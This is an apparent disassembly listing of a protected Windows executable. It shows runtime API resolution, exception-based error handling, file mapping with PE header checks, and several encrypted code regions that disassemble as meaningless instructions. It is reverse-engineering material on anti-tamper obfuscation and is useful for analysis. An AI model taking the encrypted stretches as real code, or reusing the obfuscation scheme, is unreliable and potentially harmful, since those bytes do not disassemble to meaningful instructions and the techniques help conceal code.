		mov	ds:dword_4E17D4, eax
		push	offset aWvsprintfa ; "wvsprintfA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17D8, eax
		push	offset aGdi32_dll_0 ; "gdi32.dll"
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4CE96D
		push	0
		push	0
		push	0
		push	0EF0000F6h
		call	ds:dword_4DE00C	; RaiseException


loc_4CE96D:				; CODE XREF: sub_4CE2E0+67Aj
		push	offset aAddfontresourc ; "AddFontResourceA"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17DC, eax
		push	offset aCreatecompat_0 ; "CreateCompatibleDC"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17E0, eax
		push	offset aCreatedibsec_0 ; "CreateDIBSection"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17E4, eax
		push	offset aDeletedc_0 ; "DeleteDC"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17E8, eax
		push	offset aRemovefontreso ; "RemoveFontResourceA"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17EC, eax
		push	offset aBeginpaint ; "BeginPaint"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17F0, eax
		push	offset aEndpaint ; "EndPaint"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17F4, eax
		push	offset aGetobjecta ; "GetObjectA"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17F8, eax
		push	offset aSelectobject_0 ; "SelectObject"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17FC, eax
		push	offset aDeleteobject_0 ; "DeleteObject"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1800, eax
		push	offset aBitblt_0 ; "BitBlt"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1804, eax
		push	offset aGetwindowthrea ; "GetWindowThreadProcessId"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1808, eax
		push	offset aSetactivewindo ; "SetActiveWindow"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E180C, eax
		push	offset aSetforegroundw ; "SetForegroundWindow"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1810, eax
		push	offset aRegisterclasse ; "RegisterClassExA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1814, eax
		push	offset aGetsystemmetri ; "GetSystemMetrics"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1818, eax
		push	offset aCreatewindowex ; "CreateWindowExA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E181C, eax
		push	offset aGetmessagea ; "GetMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1820, eax
		push	offset aTranslatemessa ; "TranslateMessage"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1824, eax
		push	offset aDispatchmessag ; "DispatchMessageA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1828, eax
		push	offset aDestroywindo_0 ; "DestroyWindow"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E182C, eax
		push	offset aEnumwindows ; "EnumWindows"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1830, eax
		push	offset aDefwindowproca ; "DefWindowProcA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1834, eax
		push	offset aPostmessagea ; "PostMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1838, eax
		push	offset aCreatethread ; "CreateThread"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E183C, eax
		mov	[ebp+var_4], offset dword_4E16A4
		mov	[ebp+var_14], offset dword_4E1840
		jmp	short loc_4CEB7A
; ---------------------------------------------------------------------------


loc_4CEB71:				; CODE XREF: sub_4CE2E0:loc_4CEBA9j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_4CEB7A:				; CODE XREF: sub_4CE2E0+88Fj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_14]
		jz	short loc_4CEBAB
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_4CEBA9
		push	0
		push	0
		push	0
		mov	ecx, [ebp+var_4]
		sub	ecx, offset dword_4E16A0
		sar	ecx, 2
		sub	ecx, 10FFEFFFh
		push	ecx
		call	ds:dword_4DE00C	; RaiseException


loc_4CEBA9:				; CODE XREF: sub_4CE2E0+8A8j
		jmp	short loc_4CEB71
; ---------------------------------------------------------------------------


loc_4CEBAB:				; CODE XREF: sub_4CE2E0+8A0j
		mov	esp, ebp
		pop	ebp
		retn
sub_4CE2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE298
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-24h], 0FFFFFFFFh
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_4E16A8	; CreateFileA
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short loc_4CEC6C
		push	0
		mov	ecx, [ebp-24h]
		push	ecx
		call	ds:dword_4E1700	; GetFileSize
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jz	short loc_4CEC6C
		push	0
		mov	edx, [ebp-1Ch]
		push	edx
		push	0
		push	2
		push	0
		mov	eax, [ebp-24h]
		push	eax
		call	ds:dword_4E16B0	; CreateFileMappingA
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_4CEC6C
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		push	0
		push	4
		mov	edx, [ebp-20h]
		push	edx
		call	ds:dword_4E176C	; MapViewOfFile
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_4CEC76


loc_4CEC6C:				; CODE XREF: _4:004CEC19j _4:004CEC2Ej ...
		mov	ecx, 0EF000001h
		call	sub_4D8342


loc_4CEC76:				; CODE XREF: _4:004CEC6Aj
		mov	eax, [ebp-28h]
		mov	ecx, [ebp-28h]
		add	ecx, [eax+3Ch]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-30h]
		cmp	dword ptr [edx], 4550h
		jz	short loc_4CEC97
		mov	ecx, 0EF000002h
		call	sub_4D8342


loc_4CEC97:				; CODE XREF: _4:004CEC8Bj
		mov	eax, ds:off_4E169C
		mov	[ebp-34h], eax
		mov	ecx, [ebp-30h]
		mov	edx, [ebp+10h]
		sub	edx, [ecx+34h]
		mov	[ebp-2Ch], edx
		push	1190000h
		call	sub_4CDB7E
		add	ds:11417799h, cl ; CODE	XREF: _4:004CECCBj
		stosd
		add	eax, 1EEE403Fh
		sub	al, 39h
		inc	esi
		cmp	ebx, [eax+1F877A6Dh]
		in	al, dx
		jle	short near ptr loc_4CECB5+2
		inc	ebx
		cwde
		out	dx, al
		pop	es
		xor	eax, [ebx+78F72316h]
		adc	byte ptr [edi+64h], 71h
		jle	short near ptr loc_4CED3B+2
		xchg	eax, ecx
		db	2Eh
		out	77h, eax
		dec	edi
		sbb	esp, edi
		jp	short loc_4CED3B
		lds	edx, [ecx+4B7AFC62h]
		retn
; ---------------------------------------------------------------------------
		db 7Eh,	3Bh, 82h
		dd 0B61C1F80h, 0E756D0C3h, 1E5F126Fh, 6B46D1A8h, 0EE0CA412h
		dd 0D165F518h, 0AB6AFC15h, 0F6588337h, 5A597004h, 1A93DEAh
		dd 35E370C2h, 328E108Eh, 0EA5487D7h, 599515B8h,	0DC957533h
		dd 2AB9E510h, 0F6E956BFh, 41D55588h
		db 0F7h, 6Ch, 0DAh
; ---------------------------------------------------------------------------


loc_4CED3B:				; CODE XREF: _4:004CECE4j _4:004CECDBj
		adc	edi, [edi+14D244FBh]
		stc
		jnz	short loc_4CED91


loc_4CED44:				; CODE XREF: _4:004CED45j
		xchg	eax, edi
		loop	loc_4CED44
		rol	esi, 1
		inc	esp
		stosb
		arpl	bx, si
		and	ebx, [edx+ecx*2+1D4529E4h] ; CODE XREF:	_4:004CEDC7j
		out	68h, al
		mov	esi, 7AF0DD8Eh
		mov	bl, 0DFh
		xchg	eax, ebp
		jno	short loc_4CED9A
		jg	short loc_4CED80
		shr	byte ptr [ebx],	cl
		jg	short loc_4CEDCE
		mov	bh, 10h
		cmpsd
		mov	ah, 2Ah
		hlt
; ---------------------------------------------------------------------------
		dd 693DAD50h, 3BA234CFh, 6A1346DFh, 8E90F8F4h, 59E2CEABh
; ---------------------------------------------------------------------------


loc_4CED80:				; CODE XREF: _4:004CED60j
		mov	ah, [edx+edx*4]
		aam	3Bh
		stosd
		push	7118CCF6h
		jle	short loc_4CEDB7
		add	eax, eax
		push	0FFFFFFC4h


loc_4CED91:				; CODE XREF: _4:004CED42j
		outsb
		loope	near ptr loc_4CEDEE+3
		cmpsb
		cmp	al, 76h
		inc	edi
		iret
; ---------------------------------------------------------------------------
		daa


loc_4CED9A:				; CODE XREF: _4:004CED5Ej
		jge	short near ptr loc_4CEDC9+1
		pop	edi
		or	esi, ebp
		aas
		jnb	short near ptr loc_4CEE04+2
		db	67h
		das
		mov	bl, 0C0h
		and	al, 0E9h
		sbb	[ebx], cl
		dec	cl
		pop	esi
		aam	35h
		inc	edx
		dec	edi
		pop	esp


loc_4CEDB2:				; DATA XREF: _5:004DE2A8o
		and	byte ptr [esi+3Bh], 91h
		popf


loc_4CEDB7:				; CODE XREF: _4:004CED8Bj
		stosb
		mov	bh, 7


loc_4CEDBA:				; DATA XREF: _5:004DE2ACo
		pop	edx
		mov	ebx, 0EE403F03h
		pop	ds
		sub	al, 39h
		inc	esi


loc_4CEDC4:				; CODE XREF: _4:004CEDD4j
		cmp	edi, [ecx+6Ch]
		jp	short near ptr loc_4CED4D+3


loc_4CEDC9:				; CODE XREF: _4:loc_4CED9Aj
		jl	short near ptr loc_4CEDD6+6
		inc	ebx
		inc	esp
		aaa


loc_4CEDCE:				; CODE XREF: _4:004CED64j
		nop
		nop
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4CEDC4


loc_4CEDD6:				; CODE XREF: _4:loc_4CEDC9j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_4CEDE4
		jmp	short loc_4CEE15

; =============== S U B	R O U T	I N E =======================================



sub_4CEDE4	proc near		; CODE XREF: _4:004CEDDDp
					; DATA XREF: _5:004DE2A0o
		cmp	dword ptr [ebp-28h], 0
		jz	short loc_4CEDF4
		mov	eax, [ebp-28h]
		push	eax


loc_4CEDEE:				; CODE XREF: _4:004CED92j
		call	ds:dword_4E17A0	; UnmapViewOfFile


loc_4CEDF4:				; CODE XREF: sub_4CEDE4+4j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_4CEE04
		mov	ecx, [ebp-20h]
		push	ecx
		call	ds:dword_4E16A4	; CloseHandle


loc_4CEE04:				; CODE XREF: sub_4CEDE4+14j
					; _4:004CEDA0j
		cmp	dword ptr [ebp-24h], 0
		jz	short locret_4CEE14
		mov	edx, [ebp-24h]
		push	edx
		call	ds:dword_4E16A4	; CloseHandle

locret_4CEE14:				; CODE XREF: sub_4CEDE4+24j
		retn
sub_4CEDE4	endp

; ---------------------------------------------------------------------------


loc_4CEE15:				; CODE XREF: _4:004CEDE2j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE2B0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE88h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	105h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp-184h], eax
		mov	eax, [ebp-184h]
		mov	[ebp-1Ch], eax
		push	104h
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		push	eax
		call	ds:dword_4E1714	; GetModuleFileNameA
		mov	edx, [ebp+0Ch]
		add	edx, 82h
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		and	ecx, 4
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp-20h], ecx
		cmp	dword ptr [ebp-20h], 0
		jz	loc_4CEFFE
		lea	ecx, [ebp-160h]
		call	sub_4D7798
		mov	dword ptr [ebp-164h], 10h
		push	290000h
		call	sub_4CDB7E
		nop
		popf
		sub	ebp, esi
		mov	cl, 93h
		cmp	esi, [ebp-2071CF1Dh]
		adc	[esi+edx], esp
		cmp	eax, 7CBB222Fh
		push	ecx
		cmc
		dec	esp
		retn
; ---------------------------------------------------------------------------
		db 97h,	0B9h, 0ADh
		dd 8ABDEFA0h, 9EAD89FBh, 2913CC7h, 0B285F704h, 96CCFC1Ch
		dd 7F09E16h, 414E5A1Bh,	5268559Ah, 0CEE6F301h, 5A4DC906h
		dd 0AA81500Fh, 2EF9409Bh, 66792330h, 0F898C230h, 0DBDCAA42h
		dd 6D7A86E7h, 0CA3421CFh, 12121F2Ch, 2E21267Bh,	41556C53h
		dd 7AA1946Fh, 5A2D4F5Ch, 37742DE4h, 3A4FF67Eh, 345119B4h
		dd 65810DFEh, 5D294B58h, 6AF5E8E6h, 36541C2Ch, 95B155ABh
		dd 0AD011488h, 0A7053D6Bh, 0EB46731h, 0C4A9AD9Ah, 3BEAABB8h
		dd 2A000177h, 11364351h, 0F5037066h, 3E3124E8h,	0F96AB34Bh
		dd 59670CFAh, 0DB0D434Ch, 0F081716Eh, 0FFB6D7E4h, 8996A2CFh
		dd 2180E38Ch, 212F443Ah, 96907314h, 0CDC6D3E1h,	8593E8D6h
		dd 24A5A778h, 1C5D4D32h, 0DDE20310h, 0C1357DA8h, 818FECC2h
		dd 8EF4A374h, 0E560C6CBh, 0F2E200F3h, 4E41A771h, 82751533h
		dd 5D21748Fh, 90902F3Ch, 0C085C033h
		db 75h,	0EEh
; ---------------------------------------------------------------------------


loc_4CEFFE:				; CODE XREF: _4:004CEEC0j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_4CF00C
		jmp	short loc_4CF025

; =============== S U B	R O U T	I N E =======================================



sub_4CF00C	proc near		; CODE XREF: _4:004CF005p
					; DATA XREF: _5:004DE2B8o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-188h], ecx
		mov	edx, [ebp-188h]
		push	edx
		call	sub_4D83DD
		add	esp, 4
		retn
sub_4CF00C	endp

; ---------------------------------------------------------------------------


loc_4CF025:				; CODE XREF: _4:004CF00Aj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF036	proc near		; CODE XREF: sub_4DB1EA+1Fp

var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004CF153 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE2C0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_4D0346
		test	eax, eax
		jz	loc_4CF153
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jz	loc_4CF153
		mov	eax, ds:dword_4E18E4
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4CF0A7
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE01C	; RtlEnterCriticalSection
		mov	[ebp+var_30], 1
		jmp	short loc_4CF0AB
; ---------------------------------------------------------------------------


loc_4CF0A7:				; CODE XREF: sub_4CF036+5Cj
		and	[ebp+var_30], 0


loc_4CF0AB:				; CODE XREF: sub_4CF036+6Fj
		movzx	eax, [ebp+var_30]
		test	eax, eax
		jz	loc_4CF153
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4E18E4
		call	sub_4DB871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4CF120
		push	[ebp+var_1C]
		call	sub_4D5456
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_4CF0FF
		push	ds:off_4DE4F8
		push	1Fh
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4CF0FF:				; CODE XREF: sub_4CF036+B4j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		push	0FFFFFFFFh
		mov	[ebp+var_38], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	short loc_4CF155
; ---------------------------------------------------------------------------


loc_4CF120:				; CODE XREF: sub_4CF036+A0j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4CF12B
		jmp	short loc_4CF153
sub_4CF036	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4CF12B	proc near		; CODE XREF: sub_4CF036+EEp
					; DATA XREF: _5:004DE2C8o
		mov	eax, ds:dword_4E18E4
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_4CF146
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_4DE018	; RtlLeaveCriticalSection


loc_4CF146:				; CODE XREF: sub_4CF12B+Cj
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4D0741
		retn
sub_4CF12B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4CF036


loc_4CF153:				; CODE XREF: sub_4CF036+40j
					; sub_4CF036+4Aj ...
		xor	eax, eax


loc_4CF155:				; CODE XREF: sub_4CF036+E8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4CF036

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF166	proc near		; CODE XREF: sub_4CF252+1B5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_4CF187
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		repe cmpsb
		jnz	loc_4CF24A


loc_4CF187:				; CODE XREF: sub_4CF166+Cj
		push	5Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_4CC640
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4CF216
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax],	1
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 80h
		jbe	short loc_4CF1C6
		xor	eax, eax
		jmp	loc_4CF24C
; ---------------------------------------------------------------------------


loc_4CF1C6:				; CODE XREF: sub_4CF166+57j
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+arg_4]
		mov	edi, offset byte_4E1844
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_C]
		and	ds:byte_4E1844[eax], 0
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], offset	byte_4E1844
		push	offset byte_4E1844
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_4CC06B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		jmp	short loc_4CF24C
; ---------------------------------------------------------------------------


loc_4CF216:				; CODE XREF: sub_4CF166+38j
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_4CC06B
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	eax, [ebp+var_10]
		jmp	short loc_4CF24C
; ---------------------------------------------------------------------------


loc_4CF24A:				; CODE XREF: sub_4CF166+1Bj
		xor	eax, eax


loc_4CF24C:				; CODE XREF: sub_4CF166+5Bj
					; sub_4CF166+AEj ...
		pop	edi
		pop	esi
		leave
		retn	14h
sub_4CF166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CF252	proc near		; CODE XREF: sub_4CF63E+56p
					; sub_4CF6DE+90p

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004CF62B SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE2D0
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E18C8
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_4E1908, 0
		jnz	short loc_4CF2A8
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	loc_4CF62D
; ---------------------------------------------------------------------------


loc_4CF2A8:				; CODE XREF: sub_4CF252+3Bj
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_4E1708	; GetFullPathNameA
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		mov	eax, ds:dword_4E1908
		add	eax, 810h
		push	eax
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	ecx, [ebp+var_28]
		call	sub_4D1470
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0Ch]
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_30], 0
		mov	eax, ds:dword_4E1908
		mov	ecx, [eax+0C14h]
		mov	edi, ds:dword_4E1908
		add	edi, 10h
		mov	esi, ds:dword_4E1908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jnz	loc_4CF614
		mov	eax, ds:dword_4E1908
		mov	eax, [eax+0C14h]
		mov	ecx, ds:dword_4E1908
		lea	eax, [ecx+eax+810h]
		mov	[ebp+var_3C], eax
		and	[ebp+var_38], 0
		push	5Ch
		push	[ebp+var_3C]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_4CF369
		mov	eax, [ebp+var_34]
		sub	eax, [ebp+var_3C]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4CF395
; ---------------------------------------------------------------------------


loc_4CF369:				; CODE XREF: sub_4CF252+109j
		mov	eax, ds:dword_4E1684
		mov	eax, [eax+24h]
		and	eax, 20h
		test	eax, eax
		jnz	short loc_4CF391
		push	0FFFFFFFFh
		and	[ebp+var_50], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_50]
		jmp	loc_4CF62D
; ---------------------------------------------------------------------------


loc_4CF391:				; CODE XREF: sub_4CF252+124j
		and	[ebp+var_38], 0


loc_4CF395:				; CODE XREF: sub_4CF252+115j
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		test	ecx, ecx
		jnz	short loc_4CF3B1
		cmp	[ebp+arg_8], 0
		jnz	short loc_4CF3B1
		jmp	loc_4CF5EB
; ---------------------------------------------------------------------------


loc_4CF3B1:				; CODE XREF: sub_4CF252+152j
					; sub_4CF252+158j
		cmp	[ebp+arg_8], 0
		jz	short loc_4CF3D4
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4CF3D4
		mov	eax, [ebp+arg_8]
		mov	ecx, ds:dword_4E1908
		mov	eax, [eax]
		sub	eax, [ecx+8]
		sar	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax


loc_4CF3D4:				; CODE XREF: sub_4CF252+163j
					; sub_4CF252+16Bj
		jmp	short loc_4CF3DD
; ---------------------------------------------------------------------------


loc_4CF3D6:				; CODE XREF: sub_4CF252:loc_4CF412j
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax


loc_4CF3DD:				; CODE XREF: sub_4CF252:loc_4CF3D4j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	short loc_4CF414
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_1C]
		shl	eax, 4
		mov	ecx, ds:dword_4E1908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		push	dword ptr [eax]
		push	[ebp+var_38]
		push	[ebp+var_3C]
		call	sub_4CF166
		test	eax, eax
		jz	short loc_4CF412
		jmp	short loc_4CF414
; ---------------------------------------------------------------------------


loc_4CF412:				; CODE XREF: sub_4CF252+1BCj
		jmp	short loc_4CF3D6
; ---------------------------------------------------------------------------


loc_4CF414:				; CODE XREF: sub_4CF252+191j
					; sub_4CF252+1BEj
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnb	loc_4CF5EB
		mov	edi, [ebp+var_2C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
